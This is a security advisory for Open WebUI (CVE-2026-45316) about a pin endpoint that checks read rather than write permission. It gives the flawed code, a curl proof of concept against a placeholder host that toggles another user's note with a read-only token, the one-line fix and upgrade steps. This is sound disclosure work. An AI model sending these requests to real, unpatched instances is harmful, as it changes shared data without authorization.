GHSA-jx2x-j75f-xq3j CVE-2026-45316 PYSEC-2026-2745
Open WebUI: Read-Only Users Can Toggle Note Pin Status via Incorrect Permission Check (Write via Read-Only Access)
- Severity
- 3.5 / 10
- Low · CVSS 3.1
- Exploit chance (EPSS)
- 0.24%
- Chance of exploitation in the next 30 days. Higher than 14.56% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
0.9.3- Upgrade open-webui to this version or later
Description
Summary
The POST /api/v1/notes/{id}/pin endpoint performs a write operation (toggling the is_pinned field) but only checks for read permission. Users with read-only access to a shared note can pin/unpin it, which is a state-modifying action that should require write permission. All other write endpoints (update, delete, access/update) correctly check for write permission.
Details
Affected code: backend/open_webui/routers/notes.py lines 412-444
@router.post('/{id}/pin', response_model=Optional[NoteModel])
async def pin_note_by_id(...):
# ...
if user.role != 'admin' and (
user.id != note.user_id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='note',
resource_id=note.id,
permission='read', # BUG: should be 'write'
db=db,
)
):
raise HTTPException(...)
note = await Notes.toggle_note_pinned_by_id(id, db=db) # write operation
Compare with update endpoint (correct, line 318-327):
async def update_note_by_id(...):
# ...
and not await AccessGrants.has_access(
permission='write', # correctly checks 'write'
)
PoC
Environment: Open WebUI v0.9.2, default configuration with notes sharing enabled.
Setup:
- UserA creates a note
- UserA shares note with UserB with
readpermission viaPOST /api/v1/notes/{id}/access/updatewith{"access_grants":[{"principal_type":"user","principal_id":"USERB_ID","permission":"read"}]}
Test:
# Step 1: UserB reads note (READ permission) -> 200 OK, write_access: false
curl -s http://TARGET/api/v1/notes/$NOTE_ID \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "write_access": false
# Step 2: UserB updates note (WRITE operation) -> 403 Forbidden (correctly blocked)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/update \
-H "Authorization: Bearer $TOKEN_B" \
-H "Content-Type: application/json" \
-d '{"title":"HACKED","content":"pwned","data":{"type":"note"}}'
# Result: 403 Forbidden
# Step 3: UserB pins note (WRITE operation, but only checks READ) -> 200 OK (BUG!)
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": true
# Step 4: UserB can toggle pin repeatedly
curl -s -X POST http://TARGET/api/v1/notes/$NOTE_ID/pin \
-H "Authorization: Bearer $TOKEN_B"
# Result: 200 OK, "is_pinned": false (toggled back)
E2E Verified Result:
- Step 1: UserB reads note (READ) -> 200 OK ✓
- Step 2: UserB updates note (WRITE) -> 403 Forbidden ✓ (correctly blocked)
- Step 3: UserB pins note (WRITE via READ) -> 200 OK, is_pinned: true ✗ (BUG)
- Step 4: UserB toggles pin again -> 200 OK, is_pinned: false ✗ (repeated write)
Impact
- A user with only
readaccess to a shared note can toggle itsis_pinnedstatus - This modifies the note's state without write authorization
- The pin status change is visible to the note owner and all other users with access
- Privilege escalation from read to write on the pin operation
Limitations: Only affects the is_pinned boolean field. Cannot modify title, content, or access_grants. Requires at least read access via explicit sharing.
Fix
One-line fix — change permission='read' to permission='write' in pin_note_by_id:
# backend/open_webui/routers/notes.py, line 437
- permission='read',
+ permission='write',
This makes the pin endpoint consistent with update and delete endpoints.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| open-webui | < 0.9.3 |
0.9.3 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
open-webui PyPI → 0.9.3
- pip
pip install --upgrade "open-webui>=0.9.3"- poetry
poetry add "open-webui>=0.9.3"- uv
uv add "open-webui>=0.9.3"
Severity breakdown
CVSS 3.1 3.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-wvm9-9g5j-623f Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-4qg5-cxx4-g927 Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-jqhh-cjmq-vmv6 Open WebUI: Any authenticated user can hang the server via a cyclic chat message history | Medium | Also affects open-webui |
| GHSA-5x7x-4c3c-qf5w Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets | Medium | Also affects open-webui |
| GHSA-3cgp-3cqx-j8w2 Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree | Medium | Also affects open-webui |
| GHSA-34r3-9m95-vq73 Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch | High | Also affects open-webui |
| GHSA-2724-6cpj-gf3v Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion | High | Also affects open-webui |
| GHSA-3pf7-q2g3-wj28 Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions | Medium | Also affects open-webui |
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